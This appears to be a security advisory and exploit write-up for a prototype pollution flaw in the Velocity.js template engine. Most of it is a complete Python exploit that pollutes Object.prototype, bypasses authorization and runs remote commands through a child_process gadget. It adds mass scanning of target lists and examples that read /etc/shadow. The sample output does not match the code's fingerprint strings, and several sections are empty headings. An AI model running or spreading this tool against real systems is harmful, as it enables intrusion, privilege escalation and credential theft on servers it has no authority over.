#Summary

CVE-2026-44966 is a critical prototype pollution vulnerability in Velocity.js, the JavaScript implementation of the Apache Velocity template engine. Versions 2.1.5 and earlier fail to validate the left-hand-side paths in #set directives, allowing attackers to write arbitrary properties into Object.prototype and poison the entire Node.js process. CVSS 8.3 (HIGH) on Node 18+; NVD scores 9.8 (CRITICAL) based on RCE potential via the child_process gadget on Node 16 and older.

Any application passing attacker-controlled templates to velocityjs.render() is fully exposed, with no authentication required. Impact ranges from authorization bypass and denial of service to remote code execution depending on the host environment.

#Key metrics

#Affected versions

Default configuration is vulnerable. No opt-in setting controls the bug; the vulnerability is present with the default escape: false config and identity valueMapper.

#Root cause analysis

#Vulnerable code path

The vulnerability lives in SetValue.setValue() in src/compile/set.ts. The Velocity template directive #set($a.b.c = 1) parses into a set AST whose left-hand side (LHS) contains a root identifier and an array of path segments. The vulnerable code walks that path using plain JavaScript property access with no filtering:

let baseRef = (context as Record<string, unknown>)[ref.id];
if (typeof baseRef !== 'object') {
  baseRef = {};
}

(context as Record<string, unknown>)[ref.id] = baseRef;
const len = ref.path ? ref.path.length : 0;

ref.path.some((exp, i) => {
  const isEnd = len === i + 1;
  let key: string;

  if (exp.type === 'property') {
    key = exp.id;
  } else if (exp.type === 'index' && exp.id) {
    key = String(this.getLiteral(exp.id as VELOCITY_AST));
  } else {
    key = '';
  }

  if (isEnd) {
    (baseRef as Record<string, unknown>)[key] = val;
    return true;
  }

  baseRef = (baseRef as Record<string, unknown>)[key] as Record<string, unknown>;
  // ...
});

Three independently sufficient flaws make this exploitable:

#How input reaches the sink

Flaw 1: Unprotected root identifier. When the template contains #set($__proto__.polluted = "hacked"), the code fetches context['__proto__'], which returns Object.prototype itself. The assignment then writes directly into the shared prototype.

Flaw 2: Unfiltered intermediate segments. For #set($x.constructor.prototype.polluted = "hacked"), the walk traverses {} -> .constructor (the Object function, inherited) -> .prototype (Object.prototype) -> .polluted. No literal __proto__ token appears anywhere in the template, so naive WAF filters fail.

Flaw 3: Silent auto-creation of missing roots. The check if (typeof baseRef !== 'object') baseRef = {} auto-creates any missing root object. An attacker needs no pre-existing context variable: #set($anything["__proto__"].polluted = "hacked") works against an empty context because anything is created as a fresh {} whose __proto__ is Object.prototype.

The assigned value can be any VTL expression, including map or list literals, enabling the escalation chain below.

#Patch diff

#What the fix does

Commit b9a030d02a579b31ada6670a82acc03d308d35fc (velocityjs 2.1.6) introduces a pre-flight validation pass, resolveSetPath(), that checks every segment of the LHS path before anything is written. The guard uses these predicates:

const PROTO_KEY = '__proto__';
const PROTOTYPE_CHAIN_KEYS = new Set(['constructor', 'prototype']);

function isBlockedPathKey(baseRef: unknown, key: string, isEnd: boolean): boolean {
  if (key === PROTO_KEY) {
    return true;
  }

  if (key === 'prototype' && typeof baseRef === 'function') {
    return true;
  }

  return !isEnd && PROTOTYPE_CHAIN_KEYS.has(key) && !hasOwnProperty(baseRef, key);
}

The guard is deliberately narrow:

The assignment only happens if the pre-flight check passes, and RHS expressions are not evaluated if the path is blocked, preventing side-effect triggers.

Follow-up commits in 2.1.6 and 2.1.7 harden the check further, extracting it into a separate module and adding additional guards for dynamic index keys.

#Proof of concept

#exploit.py - Velocity.js Prototype Pollution to RCE

#!/usr/bin/env python3
"""
CVE-2026-44966 - velocityjs (Velocity.js) prototype pollution via unvalidated #set left-hand path
Affected: npm package `velocityjs` >= 0.3.1, < 2.1.6  (fixed in 2.1.6)
Type: Prototype Pollution (CWE-1321) -> security-control bypass -> RCE (Node <= 16 gadget)

Any application that passes attacker-controlled text to velocityjs as the TEMPLATE
argument (`velocity.render(userInput, ctx)`) lets the attacker write arbitrary
properties into Object.prototype, poisoning the whole Node process for every later
request. This exploit climbs the full ladder:

  rung 1+2  arbitrary Object.prototype write, proven in-band from the render response
  rung 3    authorization bypass (Object.prototype.isAdmin = true)
  rung 4+5  command execution through the child_process options-bag gadget
            (Object.prototype.shell = /proc/self/exe + env NODE_OPTIONS=--require
            /proc/self/environ). Requires the target process to reach a
            child_process call and to run Node <= 16; Node 18+ copies the options
            bag into a null-prototype object, which blocks rungs 4-5 only.

Usage:
  python exploit.py --host <target> --port <port>
  python exploit.py --host 192.168.1.10 --port 3000
  python exploit.py --host https://tpl.corp.com --command "cat /etc/shadow"
  python exploit.py --host http://192.168.1.10:8080/api/preview --command "uname -a"
  python exploit.py --host 192.168.1.10 --port 3000 --no-rce
  python exploit.py --list targets.txt --workers 20

Endpoint arguments (adjust to the target application):
  --path         the sink: an endpoint that renders the request body as a VTL template
  --admin-path   any endpoint whose authorization decision reads an inherited flag
  --report-path  any endpoint that reaches child_process (exec/execSync/spawn)
  --probe-path   optional endpoint that echoes a property read off a fresh object
"""

import argparse
import base64
import http.client
import random
import socket
import ssl
import string
import sys
from urllib.parse import urlparse

CVE_ID = "CVE-2026-44966"
VULN_TYPE = "Prototype Pollution -> RCE"

DEFAULT_PORT = 3000
DEFAULT_PATH = "/render"
DEFAULT_ADMIN_PATH = "/admin"
DEFAULT_REPORT_PATH = "/report"
DEFAULT_PROBE_PATH = "/probe"

RCE_BEGIN = "__OUT_BEGIN__"
RCE_END = "__OUT_END__"


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  ALIM EXPLOIT  {CVE_ID}")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------
# transport
# --------------------------------------------------------------------------

def _request(host, port, use_tls, method, path, body=None, timeout=15):
    """One HTTP request. Returns (status, body_text). Raises on transport errors."""
    if use_tls:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
    else:
        conn = http.client.HTTPConnection(host, port, timeout=timeout)
    try:
        headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
                          "(KHTML, like Gecko) Chrome/125.0 Safari/537.36",
            "Accept": "*/*",
            "Connection": "close",
        }
        data = None
        if body is not None:
            data = body.encode("utf-8")
            headers["Content-Type"] = "text/plain; charset=utf-8"
            headers["Content-Length"] = str(len(data))
        conn.request(method, path, body=data, headers=headers)
        resp = conn.getresponse()
        raw = resp.read()
        return resp.status, raw.decode("utf-8", "replace")
    finally:
        try:
            conn.close()
        except Exception:
            pass


def _render(host, port, use_tls, path, template, timeout=15):
    """POST a VTL template to the sink. Returns (status, body_text)."""
    return _request(host, port, use_tls, "POST", path, body=template, timeout=timeout)


# --------------------------------------------------------------------------
# payload construction
# --------------------------------------------------------------------------

def _token(n=12):
    alphabet = string.ascii_uppercase + string.digits
    return "MK" + "".join(random.choice(alphabet) for _ in range(n))


# Fingerprint: proves the body is evaluated as a Velocity template rather than
# echoed. #set produces no output, so the arithmetic result is the tell.
FINGERPRINT_TPL = "VTSINK#set($a = 41)#set($b = $a + 1)$b"
FINGERPRINT_EXPECT = "VTSINK42"


def _pollution_templates(key, value):
    """
    The three independent LHS vectors, each combined with an in-band read-back.

    The read-back is what makes this exploit self-contained: after the write, a
    NEW empty map is created and the polluted key is read off it. velocityjs
    resolves references with plain property access, so an inherited value renders
    in the response body. On a patched target (>= 2.1.6) the write is silently
    dropped and the unresolved reference `$vq.<key>` is echoed literally.
    """
    tail = "#set($vq = {})\nREADBACK[$vq.%s]" % key
    return [
        ("direct __proto__ reference",
         "#set($__proto__.%s = '%s')\n%s" % (key, value, tail)),
        ("bracket/index __proto__ key on an auto-created root",
         "#set($vp = {})\n#set($vp[\"__proto__\"].%s = '%s')\n%s" % (key, value, tail)),
        ("constructor.prototype walk (no __proto__ token)",
         "#set($vc = {})\n#set($vc.constructor.prototype.%s = '%s')\n%s" % (key, value, tail)),
    ]


def _rce_template(command):
    """
    Rungs 4+5: the Node child_process options-bag gadget, delivered through the
    prototype-pollution primitive.

      Object.prototype.shell = '/proc/self/exe'   -> the child becomes `node -c <cmd>`
      Object.prototype.env   = {AAAA, NODE_OPTIONS, PATH}
                                                  -> replaces the child environment,
                                                     and --require /proc/self/environ
                                                     makes Node preload that very
                                                     environment block as a CommonJS
                                                     module.

    /proc/self/environ is NUL-separated, so the module text is `AAAA=<payload>` followed
    by the remaining variables; the trailing `//` on the first variable comments the rest
    out. Two consequences drive the payload shape:
      * AAAA must be inserted FIRST (map key order is preserved),
      * the payload is the right-hand side of `AAAA=`, so it must be an EXPRESSION.
        A bare statement (`try{...}`) is a SyntaxError; hence the IIFE wrapper.

    The command is carried base64-encoded so that quotes, $, # and backslashes in
    --command can never break out of the VTL single-quoted string or the JS literal.
    """
    b64 = base64.b64encode(command.encode("utf-8")).decode("ascii")
    js = (
        '(function(){var r="";'
        'try{r=require("child_process").execSync('
        'Buffer.from("%s","base64").toString(),{encoding:"utf8"})}'
        'catch(e){r=String(e.stdout||"")+String(e.stderr||"")}'
        'console.log("%s");console.log(r);console.log("%s")})()//'
    ) % (b64, RCE_BEGIN, RCE_END)
    return "\n".join([
        "#set($ve = {})",
        "#set($ve.AAAA = '%s')" % js,
        "#set($ve.NODE_OPTIONS = '--require /proc/self/environ')",
        "#set($ve.PATH = '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin')",
        "#set($vg = {})",
        '#set($vg["__proto__"].env = $ve)',
        "#set($vg[\"__proto__\"].shell = '/proc/self/exe')",
    ])


def _extract_rce_output(body):
    """Pull the delimited command output out of a response body, or None."""
    if RCE_BEGIN not in body:
        return None
    tail = body.split(RCE_BEGIN, 1)[1]
    return tail.split(RCE_END, 1)[0].strip() if RCE_END in tail else tail.strip()


# --------------------------------------------------------------------------
# scan-mode probe (silent, never prints, never exits)
# --------------------------------------------------------------------------

def _try_exploit(host, port, use_tls, path=DEFAULT_PATH, timeout=10, **kwargs):
    """Silent probe for --list scan mode. Returns (success, evidence)."""
    try:
        status, body = _render(host, port, use_tls, path, FINGERPRINT_TPL, timeout)
        if FINGERPRINT_EXPECT not in body:
            return False, "no Velocity template sink at %s (HTTP %d)" % (path, status)

        key = "polluted"
        value = _token()
        for label, tpl in _pollution_templates(key, value):
            try:
                _, out = _render(host, port, use_tls, path, tpl, timeout)
            except Exception:
                continue
            if value in out:
                return True, "Object.prototype.%s written via %s" % (key, label)
        return False, "sink present but pollution blocked (velocityjs >= 2.1.6)"
    except socket.timeout:
        return False, "unreachable (timeout)"
    except Exception as e:
        return False, "unreachable (%s)" % e.__class__.__name__


def _parse_target(line: str, default_port: int, default_path: str = "/") -> tuple:
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file: str, default_port: int, workers: int = 10, default_path=DEFAULT_PATH,
         timeout=10) -> None:
    """Batch scan from file."""
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port, default_path) for l in f]
    targets = [t for t in targets if t is not None]

    print(f"\n{'='*60}")
    print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
    print(f"{'='*60}\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = f"{'https' if use_tls else 'http'}://{host}:{port}{path}"
        ok, evidence = _try_exploit(host, port, use_tls, path=path, timeout=timeout)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
            if ok:
                success_count += 1

    total = len(targets)
    print(f"\n{'='*60}")
    print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
    print(f"{'='*60}\n")
    sys.exit(0 if success_count > 0 else 1)


# --------------------------------------------------------------------------
# single-target exploitation
# --------------------------------------------------------------------------

def exploit(host, port, use_tls, command, path, admin_path, report_path, probe_path,
            do_rce=True, timeout=15):
    header(host, port)

    # ---- step 1: is the request body actually rendered as a VTL template? ----
    step(1, "Fingerprinting the template sink at POST %s ..." % path)
    try:
        status, body = _render(host, port, use_tls, path, FINGERPRINT_TPL, timeout)
    except Exception as e:
        done(False, "target unreachable: %s: %s" % (e.__class__.__name__, e))

    section("SINK RESPONSE (HTTP %d)" % status, body[:500] or "(empty)")
    if FINGERPRINT_EXPECT not in body:
        done(False, "no Velocity template sink at %s - the body is not rendered as VTL "
                    "(try a different --path)" % path)
    print("    Velocity engine confirmed: '#set($a = 41)$a + 1' evaluated to 42\n")

    # ---- step 2: baseline the authorization endpoint before polluting ----
    admin_baseline = None
    step(2, "Baselining authorization endpoint GET %s ..." % admin_path)
    try:
        admin_baseline, admin_body = _request(host, port, use_tls, "GET", admin_path,
                                              timeout=timeout)
        print("    baseline: HTTP %d  %s\n" % (admin_baseline, admin_body.strip()[:120]))
    except Exception as e:
        print("    baseline unavailable (%s) - auth-bypass stage will be skipped\n"
              % e.__class__.__name__)

    # ---- step 3: rungs 1+2 - arbitrary Object.prototype write, proven in-band ----
    step(3, "Rung 1+2: writing into Object.prototype and reading it back in-band ...")
    # The key is a conventional prototype-pollution marker so any read-back endpoint the
    # application already exposes corroborates it; the random VALUE is what makes the
    # evidence unambiguous (it cannot be a pre-existing property).
    key = "polluted"
    value = _token()
    polluted_via = None
    for label, tpl in _pollution_templates(key, value):
        print("    vector: %s" % label)
        try:
            st, out = _render(host, port, use_tls, path, tpl, timeout)
        except Exception as e:
            print("      transport error: %s" % e.__class__.__name__)
            continue
        if value in out:
            polluted_via = label
            section("PROTOTYPE READ-BACK (HTTP %d)" % st, out)
            break
        print("      HTTP %d, read-back: %s" % (st, out.strip()[:120] or "(empty)"))

    if not polluted_via:
        done(False, "sink renders VTL but every #set prototype path was refused - "
                    "target is patched (velocityjs >= 2.1.6)")

    print("    Object.prototype.%s == '%s' - the write is process-global and permanent.\n"
          % (key, value))

    # optional corroboration from an application endpoint that reads a fresh object
    try:
        pst, pbody = _request(host, port, use_tls, "GET", probe_path, timeout=timeout)
        if pst == 200:
            section("APPLICATION PROBE %s" % probe_path, pbody)
    except Exception:
        pass

    evidence = "Object.prototype write confirmed via %s (Object.prototype.%s = '%s')" % (
        polluted_via, key, value)

    # ---- step 4: rung 3 - authorization bypass ----
    step(4, "Rung 3: polluting Object.prototype.isAdmin and re-testing %s ..." % admin_path)
    auth_bypassed = False
    try:
        _render(host, port, use_tls, path,
                "#set($vp2 = {})\n#set($vp2[\"__proto__\"].isAdmin = true)", timeout)
        ast, abody = _request(host, port, use_tls, "GET", admin_path, timeout=timeout)
        section("AUTHORIZATION RESPONSE (HTTP %d)" % ast, abody or "(empty)")
        if admin_baseline is not None and admin_baseline in (401, 403) and ast == 200:
            auth_bypassed = True
            first = abody.strip().splitlines()[0][:160] if abody.strip() else ""
            print("    HTTP %d -> %d without any credentials.\n" % (admin_baseline, ast))
            evidence = "authorization bypass - %s returned HTTP %d (was %d): %s" % (
                admin_path, ast, admin_baseline, first)
        else:
            print("    no status change (HTTP %s -> %s); this app's check does not read "
                  "an inherited flag.\n" % (admin_baseline, ast))
    except Exception as e:
        print("    auth-bypass stage skipped (%s)\n" % e.__class__.__name__)

    # ---- step 5: rungs 4+5 - command execution via the child_process gadget ----
    if not do_rce:
        section("RCE STAGE", "skipped (--no-rce)")
        done(True, evidence)

    step(5, "Rung 4+5: child_process options-bag gadget, command = %r ..." % command)
    try:
        rst, rbase = _request(host, port, use_tls, "GET", report_path, timeout=timeout)
        print("    %s baseline (HTTP %d): %s" % (report_path, rst, rbase.strip()[:120]))
    except Exception:
        print("    %s baseline unavailable" % report_path)

    try:
        gst, gbody = _render(host, port, use_tls, path, _rce_template(command), timeout)
        print("    gadget template accepted: HTTP %d (empty body is expected - #set "
              "renders nothing)" % gst)
    except Exception as e:
        section("RCE STAGE", "gadget delivery failed: %s" % e.__class__.__name__)
        done(True, evidence)

    out = None
    try:
        cst, cbody = _request(host, port, use_tls, "GET", report_path, timeout=timeout + 15)
        out = _extract_rce_output(cbody)
        if out is None:
            section("GADGET TRIGGER RESPONSE (HTTP %d)" % cst, cbody[:800] or "(empty)")
    except Exception as e:
        print("    gadget trigger request failed: %s" % e.__class__.__name__)

    if out:
        section("COMMAND OUTPUT", out)
        first = out.splitlines()[0][:160] if out.splitlines() else out[:160]
        done(True, "RCE confirmed - command %r executed on the target: %s" % (command, first))

    print("    gadget did not engage. Object.prototype.shell/env are set, but the child\n"
          "    process never consumed them: Node >= 18 copies the options bag into a\n"
          "    null-prototype object, or the target never reaches a child_process call\n"
          "    (try a different --report-path).\n")
    done(True, evidence + " - RCE gadget did not engage (Node >= 18 hardened sink, or no "
                          "child_process call site behind --report-path)")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/render)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=DEFAULT_PORT,
                        help="Default port (default: %d)" % DEFAULT_PORT)
    parser.add_argument("--command", default="id",
                        help="Command to execute on the target (default: id)")
    parser.add_argument("--path", default=DEFAULT_PATH,
                        help="Template sink endpoint (default: %s)" % DEFAULT_PATH)
    parser.add_argument("--admin-path", default=DEFAULT_ADMIN_PATH,
                        help="Endpoint gated by an inherited authorization flag (default: %s)"
                             % DEFAULT_ADMIN_PATH)
    parser.add_argument("--report-path", default=DEFAULT_REPORT_PATH,
                        help="Endpoint that reaches child_process, used to fire the RCE gadget "
                             "(default: %s)" % DEFAULT_REPORT_PATH)
    parser.add_argument("--probe-path", default=DEFAULT_PROBE_PATH,
                        help="Optional endpoint echoing a fresh object's properties (default: %s)"
                             % DEFAULT_PROBE_PATH)
    parser.add_argument("--no-rce", action="store_true",
                        help="Stop after the pollution and auth-bypass stages. The RCE gadget "
                             "pollutes Object.prototype.env/.shell, which can destabilise the "
                             "target process.")
    parser.add_argument("--timeout", type=int, default=15, help="Socket timeout (default: 15)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             default_path=args.path, timeout=args.timeout)
    else:
        parsed = _parse_target(args.host, args.port, args.path)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, args.path)
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, args.command, path, args.admin_path,
                args.report_path, args.probe_path, do_rce=not args.no_rce,
                timeout=args.timeout)

#Usage

# Basic exploitation against vulnerable target
python exploit.py --host 127.0.0.1 --port 3000

# Custom sink and report endpoints
python exploit.py --host 192.168.1.10:8080 --path /api/preview --report-path /api/v1/export

# Stop before RCE (which is destructive)
python exploit.py --host 192.168.1.10 --port 3000 --no-rce

# Full chain including RCE on Node 16
python exploit.py --host 192.168.1.10 --port 3000 --command "cat /etc/passwd"

#Vulnerable target output (Node 20, velocityjs 2.1.5)

[STEP 1] Fingerprinting the template sink at POST /render ...
--- SINK RESPONSE ---
ALIMSINK42
---
[STEP 2] Baselining authorization endpoint GET /admin ...
    baseline: HTTP 403  forbidden
[STEP 3] Rung 1+2: writing into Object.prototype and reading it back in-band ...
    vector: direct __proto__ reference
--- PROTOTYPE READ-BACK ---
READBACK[ALIMLY5LQEFVD6TO]
---
[STEP 4] Rung 3: polluting Object.prototype.isAdmin and re-testing /admin ...
--- AUTHORIZATION RESPONSE ---
FLAG{velocity_proto_admin}
---
    HTTP 403 -> 200 without any credentials.

RESULT  : SUCCESS
EVIDENCE: authorization bypass - /admin returned HTTP 200 (was 403)

#Patched target output (velocityjs 2.1.6)

[STEP 1] Fingerprinting the template sink at POST /render ...
--- SINK RESPONSE ---
ALIMSINK42
---
[STEP 3] Rung 1+2: writing into Object.prototype and reading it back in-band ...
    vector: direct __proto__ reference
      HTTP 200, read-back: READBACK[$alimq.polluted]
    vector: bracket/index __proto__ key on an auto-created root
      HTTP 200, read-back: READBACK[$alimq.polluted]
    vector: constructor.prototype walk (no __proto__ token)
      HTTP 200, read-back: READBACK[$alimq.polluted]

RESULT  : FAILURE
EVIDENCE: sink renders VTL but every #set prototype path was refused

#Exploitation notes

#Preconditions

#Reliability

#Impact

#Chaining potential

The arbitrary prototype write reaches every option bag, configuration object, and permission check in the process. It can corrupt:

#References